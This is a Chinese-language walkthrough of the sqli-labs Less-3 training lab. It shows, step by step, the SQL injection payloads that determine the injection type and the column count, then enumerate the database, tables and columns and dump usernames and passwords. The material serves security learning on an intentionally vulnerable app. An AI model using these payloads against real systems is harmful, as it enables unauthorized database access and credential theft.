[网络安全]sqli-labs Less-3 解题详析

判断注入类型

GET1' and '1'='1,回显如下:
GET1' and '1'='2
没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 2 --+,回显如下:

由上图可知,sql语法中给$id加上了()

猜测后端语句为SELECT * FROM xx where id=('$id')

故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=('1') order by 3 --+')

SELECT * FROM xx where id=('-1') order by 3

GET1') order by 4 --+

GET1') order by 3 --+
故注入点为3个

查库名

GET-1') union select 1,2,database(); --+

回显库名security

查表名

-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

-1') union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
忧郁的蛋~35 分钟前
C#数据库操作系列---SqlSugar完结篇
数据库·c#·asp.net
m0_5485147735 分钟前
大数据-240 离线数仓 - 广告业务 测试 ADS层数据加载 DataX数据导出到 MySQL
大数据·数据库·mysql
纯净的灰〃41 分钟前
常见框架漏洞&常见中间件漏洞
安全·web安全·中间件
hwscom1 小时前
如何阻止黑客扫描网站漏洞和服务器漏洞
服务器·安全·web安全
明明跟你说过2 小时前
MySQL 数据表与索引设计艺术:打造高效数据存取架构
数据库·mysql·database·big data
网络安全Jack2 小时前
网络安全攻击技术的一些发展趋势
安全·web安全
黑客Ash2 小时前
网络信息安全概述
网络·web安全·php
迎风追日2 小时前
时序数据库对比
数据库·时序数据库
TiDB_PingCAP2 小时前
Rakuten 乐天积分系统从 Cassandra 到 TiDB 的选型与实战
数据库·mysql·tidb
TiDB_PingCAP2 小时前
基于时间维度水平拆分的多 TiDB 集群统一数据路由/联邦查询技术的实践
数据库·分布式·tidb